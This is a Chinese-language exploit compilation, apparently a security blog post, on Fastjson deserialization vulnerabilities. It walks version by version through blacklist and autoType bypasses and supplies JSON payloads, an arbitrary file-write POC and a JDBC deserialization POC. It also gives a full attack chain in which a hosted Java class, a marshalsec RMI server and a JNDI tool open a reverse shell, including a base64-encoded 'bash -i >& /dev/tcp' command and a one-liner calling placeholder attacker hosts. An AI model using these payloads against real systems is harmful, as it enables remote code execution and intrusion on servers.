Fastjson漏洞利用合集
0x01 Fastjson 概述
1.应用场景
接口返回数据
- Ajax异步访问数据
- RPC远程调用
- 前后端分离后端返回的数据
- 开放API(一些公司开放接口的时候,我们点击请求,返回的数据是JSON格式的)
- 企业间合作接口(数据对接的时候定义的一种规范,确定入参,出差)
序列化
将对象数据转换为JSON格式,利用JSON来实现序列化存储在磁盘中。
生成Token
也就是使用json将一些数据封装起来当做访问一些应用的令牌。
作为配置文件
eg:npm的package.json
包管理配置文件
不过一般情况下使用json作为配置文件的情况很少,并不建议使用。
https://www.codeleading.com/article/82974738889/
2.黑盒测试
Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。
它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
1 | 1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试" # {" |
0x02 fastjson 反序列化漏洞原理
名词解释
@type
指定的解析类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以要想反序列化这两个,需要在parseObject()
时设置Feature.SupportNonPublicField
fastjson<=1.2.24
因为不让属性,找错类型@type
引入了autotype
,com.sun.rowset.JdbcRowSetImpl
一定会被读取加载
com.sun.rowset.JdbcRowSetImpl
是个恶意类,默认对属性不做任何处理,导致了反序列化,可以任意执行命令
EXP
1 | // exp 1.2.24 |
fastjson<=1.2.41
既1.2.25版本之后设置了autoTypeSupport
属性默认为false
,并且增加了checkAutoType()
函数,修复是用了白名单,后面是通过绕过白名单来进行攻击的com.sun.rowset.JdbcRowSetImpl
在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L
”开头、以”;
”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L
,尾部加;
即可绕过黑名单的同时加载类。
EXP
1 | { |
autoTypeSupport
属性为true
才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.42
如果输入类名的开头和结尾是L
和;
就将头和尾去掉,再进行黑名单验证。 还把黑名单的内容进行了加密,黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist 绕过方法,在类名外部嵌套2层L;
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.43
fastjson在1.2.43中checkAutoType()
函数增加判断开头为LL
直接报错。 绕过方法: 根据fastjson判断函数,[
开头则提取类名,且后面字符字符为”[
“、”{
“等,即可正常调用
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.45
前提条件:需要目标服务端存在mybatis
的jar包,且版本需为3.x.x
系列<3.5.0
的版本。 使用黑名单绕过,org.apache.ibatis.datasource
在1.2.46
版本被加入了黑名单 由于在项目中使用的频率也较高,所以影响范围较大。
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.47
对版本小于1.2.48的版本通杀,autoType
为关闭状态也可使用。 loadClass
中默认cache
设置为true
,
(1)首先使用java.lang.Class
把获取到的类缓存到mapping
中,
(2)直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl
这个类,绕过了黑名单机制。
EXP
1 | { |
fastjson<=1.2.62
基于黑名单绕过
1 | { |
fastjson<=1.2.66
关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
https://github.com/LeadroyaL/fastjson-blacklist
0x03 Fastjson 漏洞利用方式
编写EXP->启动python服务器->启动rmi 监听-> 发送poc->成功反弹shell
需要 Java 环境
编译EXP
将代码编写为class类文件,并将生成的类文件放在web目录下,并启动web服务
https://ares-x.com/tools/runtime-exec/
EXP编码 bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
1 | import java.io.BufferedReader; |
编译 EXP 并启动 python 服务器
1 | #编译 |
配置RMI环境
用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类
1 | git clone https://github.com/mbechler/marshalsec.git |
启动RMI服务监听
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999 |
备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加#
反弹shell
把网站json数据包替换,然后发包,VPS即可收到
这里的EXP 根据Fastjson 版本不同,进行替换
1 | POST / HTTP/1.1 |
0x04 各个版本利用
fastjson 1.2.24
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 | POST / |
fastjson 1.2.47
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 | POST / HTTP/1.1 |
fastjson burp 插件
https://github.com/zilong3033/fastjsonScan
fastjson 1.2.68
漏洞概述
在Fastjson<=1.2.68的版本中,通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码
Fastjson爆出的绕过方法可以通杀 1.2.68 以下所有版本
1 | Fastjson <= 1.2.68 |
POC
任意文件写入POC
1 | {"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}} |
JDBC反序列化POC
1 | {"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}} |
0x05 Fastjson不出网利用
https://github.com/safe6Sec/Fastjson
1.服务器出网
使用jndi
注入-ldap -
rmi
2.服务器不能出网
- 直接本地反序列化
BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)TemplatesImpl
不常用
反序列化-_bytecodes直接反序列化Poc TemplatesImpl
1 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
创建Poc.java
代码如下 exec
为payload,使用低版本Java 执行最好是jdk8 以下的,javac Poc.java
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
new String[] 是以数组的方式传送,能执行多个命令,如果不加会报错。
在使用 python生成字节码
python fast.py
1 | import base64 |
最终payload
将生成的字节码放入 poc.class_base64
1.2.24 payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"} |
1.2.47 payload
1 | {"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["poc.class_base64"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b", "_version": "1.0","allowedProtocols": "all"}} |
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
插件地址
https://github.com/bigsizeme/fastjson-check
一键生成链子
看不到type类型,自行往右拉。
先config 选择 然后Generte Echo payload
https://jishuin.proginn.com/p/763bfbd63f5d
https://cloud.tencent.com/developer/article/1785575
0x06 综合利用脚本
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
1 | java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" |
官网 https://github.com/wyzxxz/jndi_tool
参考链接
https://jishuin.proginn.com/p/763bfbd63f5d Fastjson三条利用链
https://www.cnblogs.com/pickmea/p/15157189.html